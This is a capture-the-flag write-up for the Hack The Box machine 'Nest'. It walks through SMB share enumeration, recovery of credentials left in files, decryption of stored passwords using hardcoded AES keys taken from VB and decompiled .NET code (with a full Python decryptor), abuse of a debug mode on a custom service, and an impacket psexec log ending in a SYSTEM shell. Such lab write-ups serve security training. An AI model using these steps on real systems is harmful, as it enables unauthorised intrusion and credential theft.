# Nmap 7.94SVN scan initiated Tue Feb 4 17:07:31 2025 as: nmap -p445,4386 -sCV -n -Pn --disable-arp-ping -oN targeted 10.129.205.161Nmap scan report for 10.129.205.161Host is up (0.054s latency).PORT STATE SERVICE VERSION445/tcp open microsoft-ds?4386/tcp open unknown| fingerprint-strings:| DNSStatusRequestTCP, DNSVersionBindReqTCP, Kerberos, LANDesk-RC, LDAPBindReq, LDAPSearchReq, LPDString, NULL, RPCCheck, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServer, TerminalServerCookie, X11Probe:| Reporting Service V1.2| FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, RTSPRequest, SIPOptions:| Reporting Service V1.2| Unrecognised command| Help:| Reporting Service V1.2| This service allows users to run queries against databases using the legacy HQK format| AVAILABLE COMMANDS ---| LIST| SETDIR <Directory_Name>| RUNQUERY <Query_ID>| DEBUG Password|_ HELP CommandHost script results:|_clock-skew: 1s| smb2-security-mode:| 2:1:0:|_ Message signing enabled but not required| smb2-time:| date: 2025-02-04T16:10:16|_ start_date: 2025-02-03T16:29:17Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .# Nmap done at Tue Feb 4 17:10:54 2025 -- 1 IP address (1 host up) scanned in 202.50 seconds
445 - SMB
Letβs start enumerating the SMB Server to extract information about it such as the hostname, the possible version of the Operative System, the name of the Domain or Workgroup or if SMBv1 is enabled
And there we go, now we can list the available SMB shared resources in the target
Note that we can achieve the same thing using other tools such as smbclient or smbmap
SMBClient
smbclient --user 'guest%' --list //htb-nest
Command Output
Sharename Type Comment--------- ---- -------ADMIN$ Disk Remote AdminC$ Disk Default shareData DiskIPC$ IPC Remote IPCSecure$ DiskUsers Disk
SMBMap
smbmap -H htb-nest -u 'guest' -p ''
Command Output
[+] IP: htb-nest:445 Name: unknown Disk Permissions Comment ---- ----------- ------- ADMIN$ NO ACCESS Remote Admin C$ NO ACCESS Default share Data READ ONLY IPC$ NO ACCESS Remote IPC Secure$ NO ACCESS Users READ ONLY
Note that SMBMap and Netexec show us the permissions that we have on the shared resources while SMBClient does not
Excluding the usual folders such as ADMIN$, C$ or IPC$, for which we do not have access permissions, there are three interesting folders β
Data
Secure$
Users
At the moment, we only have access permissions on the Data and the Users ones
Letβs mount each shared folder locally by authenticating with the Guest user to inspect them and see if we can list their content
Data as Guest
mkdir data_as_guest
mount --types cifs --options ro,username='guest',password='' //10.129.205.161/Data !$
To get an overview of the file structure of this folder β
We would like to extend a warm welcome to our newest member of staff, FIRSTNAME SURNAMEYou will find your home folder in the following location:\\HTB-NEST\Users\<USERNAME>If you have any issues accessing specific services or workstations, please inform theIT department and use the credentials below until all systems have been set up for you.Username: TempUserPassword: welcome2019Thank youHR
In this one there are credentials for the user TempUser β TempUser:welcome2019
We check if these credentials are valid for the above user
So, before proceed to check if we have other type of permissions on the available shared resources by authenticating with TempUser, letβs mount the remaining shared folder
Users as Guest
mkdir users_as_guest
mount --types cifs --options ro,username='guest',password='' //10.129.205.161/Users !$
It seems that the password is also valid for the users R.Thompson and L.Frost
But, I will tell you one thing in advance, if we mount the shares listed earlier by authenticating with those users, we get the same results as if we do it with the Guest user
So, donβt waste any more time, but you can try it if you want to π
As we do not have access to more shares as the Guest user, letβs move on to enumerate the SMB shared resources again, but this time as the user TempUser
Sharename Type Comment--------- ---- -------ADMIN$ Disk Remote AdminC$ Disk Default shareData DiskIPC$ IPC Remote IPCSecure$ DiskUsers Disk
SMBMap
smbmap -H htb-nest -u 'TempUser' -p 'welcome2019'
Command Output
[+] IP: htb-nest:445 Name: unknown Disk Permissions Comment ---- ----------- ------- ADMIN$ NO ACCESS Remote Admin C$ NO ACCESS Default share Data READ ONLY IPC$ NO ACCESS Remote IPC Secure$ READ ONLY Users READ ONLY
Notice that, now, in addition to having access permission on the Data and Users shares, we also have access permission on the Secure$ share
So, as we did before, just mount these three shares locally, but this time we authenticate as TempUser
Secure$ as TempUser
mkdir secure_as_temp
mount --types cifs --options ro,username='TempUser',password='welcome2019' //10.129.205.161/Secure$ !$
To list the file structure of the share mounted locally β
Here the same applies as before with the Usersβ share when we have authenticated with the Guest user, i.e. it appears that we do not have access or read permissions on those listed folders
Here, we have one .TXT file, if we inspect its content β
cat './users_as_temp/TempUser/New Text Document.txt'
The file is empty
With an empty file coming from a Windows Machine, I would check if It has an ADS (Alternate Data Stream) as its Default Data Stream may be empty, but the alternate may not be
To carry out this action from a Linux Machine, we can use smbclient
smbclient --user 'TempUser%welcome2019' --command 'allinfo ./TempUser/"New Text Document.txt"' //htb-nest/Users/
And it does not have an ADS, only the default one β $DATA
Data as TempUser
mkdir data_as_temp
mount --types cifs --options ro,username='TempUser',password='welcome2019' //10.129.205.161/Data !$
And as expected, it is encrypted, at the moment we cannot do nothing since we donβt know how this password has been encrypted
We know neither the encryption algorithm, nor the symmetric key, nor the IV. Nor do we know if the key was derived via a KDF such as PBKDF2, in which case we also do not know the salt used in the derivation
And all this taking into account that the cipherβs IV and the KDFβs Salt are hardcoded in the source code of the program/script that encrypted this password
Normally, when a KDF is applied to derive the symmetric key, the salt, as well as the IV used in the cipher, are concatenated to the encrypted object. The resultant bytes are base64-encoded
Therefore, if we know the symmetric key, we can extract the above elements from the base64-encoded string and, knowing the Key Derivation Function and the Encryption Algorithm, proceed to decryption
It may be the case that bad practices may have been followed and both the salt, the IV and the key, are hardcoded in the source code
But, at the moment, we do not know nothing about this encrypted password
So, we have a leaked system path (\\HTB-NEST\Secure$\IT\Carl\Temp.txt) and encrypted password (fTEzAfYDoz1YzkqhQkH6GQFYKp1XY5hm7bjOP86yYxE=)
As we have seen before, we do not have read permissions neither as TempUser nor as Guest to the subfolders of the Secure$ share. But, we tried before with smbclient to access this subfolder, such as IT, as TempUser and we could, but we could not list their content
Therefore, knowing that there is a directory within Secure$\IT named Carl, we can try to list the content of this directory, since we have access permissions on IT, we may be able to access Carl and list its content
There is nothing interesting in the TXT files, but something catches my attention, there is a .sln (Solution) file that it can be opened with Visual Studio, related to the Visual Basic project that we also have in the RU Scanner folder
Remember that the name of the configuration file from which we got the password was RU_Config.xml, therefore, it appears that the encrypted password, or the entire configuration file, was generated by this program
As we also have access to the Visual Basic files, we can inspect the source code to search for the method or functions used to encrypt the password
Module Module1 Sub Main() Dim Config As ConfigFile = ConfigFile.LoadFromFile("RU_Config.xml") Dim test As New SsoIntegration With {.Username = Config.Username, .Password = Utils.DecryptString(Config.Password)} End SubEnd Module
In this VB file, we have the main function, which seems to load into a variable the content of the XML configuration through a method named LoadFromFile
Dim Config As ConfigFile = ConfigFile.LoadFromFile("RU_Config.xml")
It then stores the username from the configuration file in a username parameter and the password in a parameter called password
Dim test As New SsoIntegration With {.Username = Config.Username, .Password = Utils.DecryptString(Config.Password)}
The interesting thing is that, before storing the password in the variable, the DecryptString method or function from Utils is called, passing it the password from the XML configuration file as value
Therefore, we know that the password parameter stores the plain password
Since there is a VB file named Utils (VB Projects/WIP/RU/RUScanner/Utils.vb), we can inspect the Utils class and its method named DecryptString
Encrypt Method from Utils
Public Shared Function Encrypt(ByVal plainText As String, _ ByVal passPhrase As String, _ ByVal saltValue As String, _ ByVal passwordIterations As Integer, _ ByVal initVector As String, _ ByVal keySize As Integer) _ As String Dim initVectorBytes As Byte() = Encoding.ASCII.GetBytes(initVector) Dim saltValueBytes As Byte() = Encoding.ASCII.GetBytes(saltValue) Dim plainTextBytes As Byte() = Encoding.ASCII.GetBytes(plainText) Dim password As New Rfc2898DeriveBytes(passPhrase, _ saltValueBytes, _ passwordIterations) Dim keyBytes As Byte() = password.GetBytes(CInt(keySize / 8)) Dim symmetricKey As New AesCryptoServiceProvider symmetricKey.Mode = CipherMode.CBC Dim encryptor As ICryptoTransform = symmetricKey.CreateEncryptor(keyBytes, initVectorBytes) Using memoryStream As New IO.MemoryStream() Using cryptoStream As New CryptoStream(memoryStream, _ encryptor, _ CryptoStreamMode.Write) cryptoStream.Write(plainTextBytes, 0, plainTextBytes.Length) cryptoStream.FlushFinalBlock() Dim cipherTextBytes As Byte() = memoryStream.ToArray() memoryStream.Close() cryptoStream.Close() Return Convert.ToBase64String(cipherTextBytes) End Using End UsingEnd Function
So, in this method we can see that the symmetric key (passphrase), is derived using the class Rfc2898DeriveBytes, which use PBKDF2-SHA1 as the KDF
In the other hand, it uses AES-CBC as symmetric algorithm to cipher the password using the previous derived key
The method call occurs within this other function named EncryptString, which in the one used in the Module1.vb file β
Public Shared Function EncryptString(PlainString As String) As String If String.IsNullOrEmpty(PlainString) Then Return String.Empty Else Return Encrypt(PlainString, "N3st22", "88552299", 2, "464R5DFA5DL6LE28", 256) End IfEnd Function
Note that the Encrypt method receives as arguments the following ones β
Public Shared Function Encrypt(ByVal plainText As String, _ ByVal passPhrase As String, _ ByVal saltValue As String, _ ByVal passwordIterations As Integer, _ ByVal initVector As String, _ ByVal keySize As Integer) _ As String
So, we mentioned earlier that maybe the developer of this program was employing bad practices such as using static values for the Salt and the IV
This is the case, and the we also have the key β N3st22
Therefore, knowing how the password was encrypted, we do not even need the Decrypt function to know how to decrypt the password
As we can see, in this case, the IV and Salt are not concatenated together with the encrypted data as they are hardcoded in the source code
Since there is a .SLN file, I have seen many people opening this file in Visual Studio to deploy the project and setting a breakpoint after calling the DecryptString method to get the value of the password parameter at runtime
But, letβs make a python script to automate this task
PBKDF2_SHA1_AES_CBC.py
#!/usr/bin/env python3from Crypto.Cipher import AESfrom Crypto.Protocol.KDF import PBKDF2from Crypto.Util.Padding import unpadfrom pwn import *from colorama import Fore, Styleimport sysimport argparseimport base64import timedef banner(): return Fore.GREEN + f""",------. ,--.| .-. \ ,---. ,---.,--.--.,--. ,--.,---. ,-' '-. ,---. ,--.--.| | \ :| .-. :| .--'| .--' \ ' /| .-. |'-. .-'| .-. :| .--'| '--' /\ --.\ `--.| | \ ' | '-' ' | | \ --.| |`-------' `----' `---'`--' .-' / | |-' `--' `----'`--' `---' `--' """ + Style.RESET_ALLclass Decrypter: def __init__(self, password: str, passphrase: str, salt: str, iterations: int, iv: str) -> None: self.password: str = password self.passphrase: bytes = passphrase.encode() self.salt: bytes = salt.encode() self.iterations: int = int(iterations) self.iv: bytes = iv.encode() def derivateKey(self) -> bytes: """ This method derives the supplied key using PBKDF2 as Key Derivation Function and SHA1 as Digest Method It returns a 32 Bytes Derived Key """ try: key: bytes = PBKDF2(self.passphrase, self.salt, int(256/8), count=self.iterations) return key except Exception as e: print(Fore.RED + f'Error: {e}' + Style.RESET_ALL) sys.exit(1) def decryptPasswd(self) -> str: """ This method carries out the following actions β€ - base64-decoding of the supplied password - Decryption of the above password using AES-CBC by providing the derived key and an IV - It unpads the resulting plain object (Password) and returns it """ passwd: bytes = base64.b64decode(self.password) key: bytes = self.derivateKey() try: cipher = AES.new(key, AES.MODE_CBC, self.iv) plain_passwd: bytes = unpad(cipher.decrypt(passwd), AES.block_size) return plain_passwd.decode() except Exception as e: print(Fore.RED + f'Error: {e}' + Style.RESET_ALL) sys.exit(1) def run(self) -> None: print( Fore.CYAN + f''' Encrypted Password β€ {Fore.MAGENTA}{self.password} {Fore.CYAN}Passphrase (Key) β€ {Fore.MAGENTA}{self.passphrase.decode()} {Fore.CYAN}KDF Salt β€ {Fore.MAGENTA}{self.salt.decode()} {Fore.CYAN}KFD Iterations β€ {Fore.MAGENTA}{self.iterations} {Fore.CYAN}IV (Initialization Vector) β€ {Fore.MAGENTA}{self.iv.decode()} ''' + Style.RESET_ALL ) p = log.progress(Fore.CYAN + 'Decryption' + Style.RESET_ALL) p.status(Fore.GREEN + f'Decrypting the supplied password... β' + Style.RESET_ALL) time.sleep(2) plain_passwd: str = self.decryptPasswd() print( Fore.CYAN + f''' Plain Password β€ {Fore.MAGENTA}{plain_passwd} ''' + Style.RESET_ALL )def main(): print(banner()) parser = argparse.ArgumentParser( description = Fore.MAGENTA + f"This tool decrypts an object encrypted via AES-CBC based on a symmetric key derived with PBKDF2" + Style.RESET_ALL ) parser.add_argument('password', help='Base64-encoded Password to decrypt') parser.add_argument('passphrase', help='Symmetric key which will be derived with PBKDF2') parser.add_argument('salt', help='PBKDF2\'s Salt') parser.add_argument('iterations', help='Iterations used in PBKDF2') parser.add_argument('iv', help='AES-CBC Initializacion Vector') opts = parser.parse_args() if opts.password is not None: decrypter = Decrypter(opts.password, opts.passphrase, opts.salt, opts.iterations, opts.iv) decrypter.run() else: parser.print_help() sys.exit(1)if __name__ == '__main__': main()
Scriptβs Help Panel
PBKDF2_SHA1_AES_CBC.py's Help Panel
,------. ,--.| .-. \ ,---. ,---.,--.--.,--. ,--.,---. ,-' '-. ,---. ,--.--.| | \ :| .-. :| .--'| .--' \ ' /| .-. |'-. .-'| .-. :| .--'| '--' /\ --.\ `--.| | \ ' | '-' ' | | \ --.| |`-------' `----' `---'`--' .-' / | |-' `--' `----'`--' `---' `--'usage: PBKDF2_SHA1_AES_CBC.py [-h] password passphrase salt iterations ivThis tool decrypts an object encrypted via AES-CBC based on a symmetric key derived with PBKDF2positional arguments: password Base64-encoded Password to decrypt passphrase Symmetric key which will be derived with PBKDF2 salt PBKDF2's Salt iterations Iterations used in PBKDF2 iv AES-CBC Initializacion Vectoroptions: -h, --help show this help message and exit
[+] IP: htb-nest:445 Name: unknown Disk Permissions Comment ---- ----------- ------- ADMIN$ NO ACCESS Remote Admin C$ NO ACCESS Default share Data READ ONLY IPC$ NO ACCESS Remote IPC Secure$ READ ONLY Users READ ONLY
Apparently, we have access to the same shares as C.Smith and TempUser
But, that does not mean anything, letβs mount those shares again by authenticating as C.Smith to see if there are new files or we have different permissions on existent ones
Data as C.Smith
mkdir data_as_smith
mount --types cifs --options ro,username='C.Smith',password='xRxRxPANCAK3SxRxRx' //10.129.70.67/Data !$
users_as_smith/C.Smith/HQK Reporting/AD Integration Module/HqkLdap.exe: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows, 4 sections
It is a .NET compiled binary (.exe). So, later we can decompile it with dnspy or dotpeek and inspect its source code to search for information leakage or logic flaws
Debug Mode Password.txt
This file is empty
So, just as we did before with other files, letβs check if this one has an ADS (Alternate Data Stream
And it does not, we can see that for the users L.Frost and R.Thompson, the authentication with that password is valid, but it was also with the password of TempUser
Thus, those users may not exist in the target
Unknown - 4386
Letβs use netcat to connect to this TCP Port
netcat htb-nest 4386
It does not work correctly, it may be due to sequence characters such as new line and carriage return
We may get different results with telnet
telnet htb-nest 4386
And this one works!
It seems that we get an interactive console, if we send a help command this happens β
> help
Command Output
This service allows users to run queries against databases using the legacy HQK format--- AVAILABLE COMMANDS ---LISTSETDIR <Directory_Name>RUNQUERY <Query_ID>DEBUG PasswordHELP Command
There are several commands, if we test the functionality of each of them, we learn that setdir is like cd and list is like ls, those commands do the same as the others on a Linux machine
We get the following error if we run the command runquery
Error
Invalid database configuration found. Please contact your system administrator
The remaining command is debug. This command needs a password, it seems that supplying a valid password, the debug mode of this service is enabled
As we have obtained a string that looks like a password from the Debug Mode Password file, we can assume that this string is the debug mode password for this service
So, letβs try it
> debug WBQ201953D8w
Command Output
Debug mode enabled. Use the HELP command to view additional commands that are now available
And It is!
As mentioned in the output of the above command, by enabling the debug mode, we have access to additional commands
We can check these new commands
> help
Command Output
This service allows users to run queries against databases using the legacy HQK format--- AVAILABLE COMMANDS ---LISTSETDIR <Directory_Name>RUNQUERY <Query_ID>DEBUG PasswordHELP CommandSERVICESESSIONSHOWQUERY Query_ID
The service and session commands only show general information
But, the showquery command allows us to get the content of the files we are querying. It is like cat on a linux machine
Therefore, we can list the files inside a system folder with list and the content of these file with showquery
If we inspect the file structure from the default folder to its parent directories, we found a folder named LDAP
> setdir ..> list
Command Output
Use the query ID numbers below with the RUNQUERY command and the directory names with the SETDIR command QUERY FILES IN CURRENT DIRECTORY[DIR] ALL QUERIES[DIR] LDAP[DIR] Logs[1] HqkSvc.exe[2] HqkSvc.InstallState[3] HQK_Config.xmlCurrent Directory: HQK
If we access this LDAP directory and list its content, we have two interesting files,
> setdir LDAP> list
Command Output
Use the query ID numbers below with the RUNQUERY command and the directory names with the SETDIR command QUERY FILES IN CURRENT DIRECTORY[1] HqkLdap.exe[2] Ldap.confCurrent Directory: LDAP
A .exe file with the same name as the one found in the Users share inside the C.Smith folder when we authenticate as C.Smith
So, I understand that both are the same binary
In the other hand, we have an LDAP configuration file named Ldap.conf. If we list its content β
Since the name of the .exe file is HqkLdap.exe and the name of the config file is Ldap.conf, we could think that this binary has generated this file or at least encrypted the password inside it
So, knowing that this binary comes from a compiled .NET project, we can decompile it by using dnspy or dotpeek to inspect its source code
Source Code Information Leakage when decompiling a .EXE file
As long as I know, there is no a .NET decompiler tool in Linux apart from radare2. Some use Wine to be able to use dotpeek or dnspy in a Linux Machine
I would not recommend to execute any binary file in your main system, in this case a Windows machine, but I trust Hack The Box, and I do not really feel like setting up a virtual machine with a Windows either π
That said, if you already have a Windows Virtual Machine set up, just transfer this binary to it via SMBServer.py from Impacket
So, if we decompile this binary, the Main Module is the following one
Zoom In
This function perform the following validations before starts with the main point
The number of arguments the binary receives, excluding itself, must be at least one
if (MyProject.Application.CommandLineArgs.Count != 1) Console.WriteLine("Invalid number of command line arguments");
The first argument must be an existent file in the CWD
else if (!File.Exists(MyProject.Application.CommandLineArgs[0])) Console.WriteLine("Specified config file does not exist");
The HqkDbImport.exe binary must also exists in the CWD
else if (!File.Exists("HqkDbImport.exe")) { Console.WriteLine("Please ensure the optional database import module is installed"); }
If all these conditions are met, we arrive at the main workflow, where the file passed as argument is taken and some information from it is parsed
It searchs for several fields such as Domain, User and Password
Code Snippet
else { LdapSearchSettings ldapSearchSettings = new LdapSearchSettings(); string[] strArray = File.ReadAllLines(MyProject.Application.CommandLineArgs[0]); int index = 0; while (index < strArray.Length) { string str = strArray[index]; if (str.StartsWith("Domain=", StringComparison.CurrentCultureIgnoreCase)) ldapSearchSettings.Domain = str.Substring(checked (str.IndexOf('=') + 1)); else if (str.StartsWith("User=", StringComparison.CurrentCultureIgnoreCase)) ldapSearchSettings.Username = str.Substring(checked (str.IndexOf('=') + 1)); else if (str.StartsWith("Password=", StringComparison.CurrentCultureIgnoreCase)) ldapSearchSettings.Password = CR.DS(str.Substring(checked (str.IndexOf('=') + 1))); checked { ++index; } }
The interesting part is when it parses the value of the Password field in the passed file and stores it in a ldapSearchSetting.Password parameter or attribute
Before store this value, the DS (DecryptString) method of the CR Class is called
else if (str.StartsWith("Password=", StringComparison.CurrentCultureIgnoreCase)) ldapSearchSettings.Password = CR.DS(str.Substring(checked (str.IndexOf('=') + 1)));
If we inspect the CR Module, where the CR Class is defined, we find the DS Method
As in theVisual Basic project, the functions/methods in charge of encrypting and decrypting the password use the Rfc2898DeriveBytes class, which uses PBKDF2-SHA1 to derive the key and AES-CBC to encrypt the input object with that symmetric key
Note that the DS method calls the RD method by passing it as arguments the following ones, taking into account the definition of RD
CipherText β The parsed password of the file passed as an argument to the HqkLdap.exe binary
PassPhrase β 667912
Salt β 1313Rf99
KDF Iterations β 3
Initialization Vector β 1L1SA61493DRV53Z
Derived Key Size β 256
With all this information and having the encrypted password, we can proceed in several ways
As mentioned in the Visual Basic Project section, I have seen many people who, again, export this decompiled .NET Project and import it into Visual Studio. They then set a breakpoint after the DS method is called and returns the plain password as value, and can see the value of the plain password at runtime
But, taking advantage of the fact that we have previously created a script to perform this task, we can use it again but this time passing it as arguments the ones listed above
And yes it does! So, since SMB is the only service/protocol running on the machine externally, apart from the one on the port 4389, and we have admin access to the system, letβ use psexec.py from impacket to upload a .EXE binary to the ADMIN$ share and start a service to be able to execute commands remotely and receive their output
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies[*] Requesting shares on htb-nest.....[*] Found writable share ADMIN$[*] Uploading file yjUAnzZK.exe[*] Opening SVCManager on htb-nest.....[*] Creating service PrCk on htb-nest.....[*] Starting service PrCk.....[!] Press help for extra shell commandsMicrosoft Windows [Version 6.1.7601]Copyright (c) 2009 Microsoft Corporation. All rights reserved.C:\Windows\system32> whoamint authority\systemC:\Windows\system32>
We already have access to the target as NT Authority\System, so just grab the flag and move on to the next machine! π